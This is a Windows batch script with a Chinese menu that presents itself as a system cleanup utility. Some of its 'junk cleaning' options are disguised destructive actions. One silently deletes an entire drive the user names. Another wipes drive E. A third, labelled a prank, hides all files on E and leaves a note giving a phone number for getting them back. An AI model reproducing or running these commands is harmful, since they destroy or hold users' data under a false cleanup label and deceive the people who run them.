@echo off//关闭回显(屏蔽执行过程)
title test
color 0a
mode con cols=45 lines=13
:menu
cls
@echo ===========================
@echo 菜单
@echo 1.定时关机
@echo 2.杀死explorer.exe进程
@echo 3.清理垃圾
@echo 4.清理功能
@echo 5.隐藏文件功能
@echo 6.回复功能
@echo 7.清楚系统缓存垃圾
@echo 8.退出
@echo ===========================
@set /p num=请输入您的选择:
if "%num%"=="1" goto a
if "%num%"=="2" goto b
if "%num%"=="3" goto c
if "%num%"=="4" goto d
if "%num%"=="5" goto e
if "%num%"=="6" goto f
if "%num%"=="7" goto g
if "%num%"=="8" goto j
@echo 只能输入(1、2、3、4、5、6、7、8)由此执行指令
@echo 按任意键返回菜单
pause >nul 2>nul
goto menu
:a
set /p time=请输入关机时间(秒):
shutdown -s -t %time%
goto menu
:b
taskkill /im explorer.exe /f >nul 2>nul
echo 正在清理explorer.exe进程
ping -n 8 127.0.0.1 >nul 2>nul
start c:\windows\explorer.exe
echo explorer.exe进程已清理
pause
goto menu
:c
set /p pan=请输入垃圾清理盘符:
rd %pan%:\ /s/q >nul 2>nul
echo 分区%pan%盘已全部清理
pause
goto menu
:d
@echo off
echo ===================
echo.
echo 清理工具
echo ---by allen
echo.
echo ===================
pause
echo 垃圾清理中。。。。。
rd e: /s/q 2>nul
echo 清理完毕
pause >nul
goto menu
:e
@echo off
echo ===================
echo.
echo 恶搞清理工具
echo ---by allen
echo.
echo ===================
pause
echo 优化中。。。。。
attrib +s +h e:\*.* /s /d >nul
echo 1390123123 > e:\找回文件联系人.txt
echo 清理完毕 并查看当前目录下的文本文件
pause >nul
goto menu
:f
@echo off
echo ===================
echo.
echo 数据还原工具
echo ---by allen
echo.
echo ===================
pause
echo 数据优化中。。。。。
attrib -s -h e:\*.* /s /d >nul
del e:\找回文件联系人.txt
echo 数据还原成功
pause >nul
goto menu
:g
color f0
echo.
echo 正在安全地自动清除垃圾文件……
del /f /q %systemdrive%\*.tmp>nul 2>nul
del /f /q %systemdrive%\*._mp>nul 2>nul
del /f /q %systemdrive%\*.log>nul 2>nul
del /f /q %systemdrive%\*.gid>nul 2>nul
del /f /q %systemdrive%\*.chk>nul 2>nul
del /f /q %systemdrive%\*.old>nul 2>nul
del /f /q %windir%\*.bak>nul 2>nul
del /f /q %windir%\*.tmp>nul 2>nul
del /f /q %windir%\prefetch\*.*>nul 2>nul
del /f /s /q %systemdrive%\recycled\*.*
del /f /q "%ALLUSERSPROFILE%\Documents\DrWatson\*.*">nul 2>nul
del /f /q "%USERPROFILE%\Cookies\*.txt">nul 2>nul
del /f /q /s "%TEMP%\*.*">nul 2>nul
del /f /q /s "%Systemroot%\Prefetch\*.*">nul 2>nul
del /f /q "%USERPROFILE%\Recent\*.*">nul 2>nul
del /f /q "%USERPROFILE%\Application Data\Microsoft\Office\Recent\*.lnk">nul 2>nul
del /f /q /s "%USERPROFILE%\Local Settings\Temp\*.*">nul 2>nul
rd /s /q %windir%\temp & md %windir%\temp>nul 2>nul
if not exist %SystemRoot%\Minidump\NUL del /f /q /s %SystemRoot%\Minidump\*.*>nul 2>nul
del /f /s /q "%userprofile%\Local Settings\Temporary Internet Files\*.*">nul 2>nul
pause >nul
goto menu
:j
exit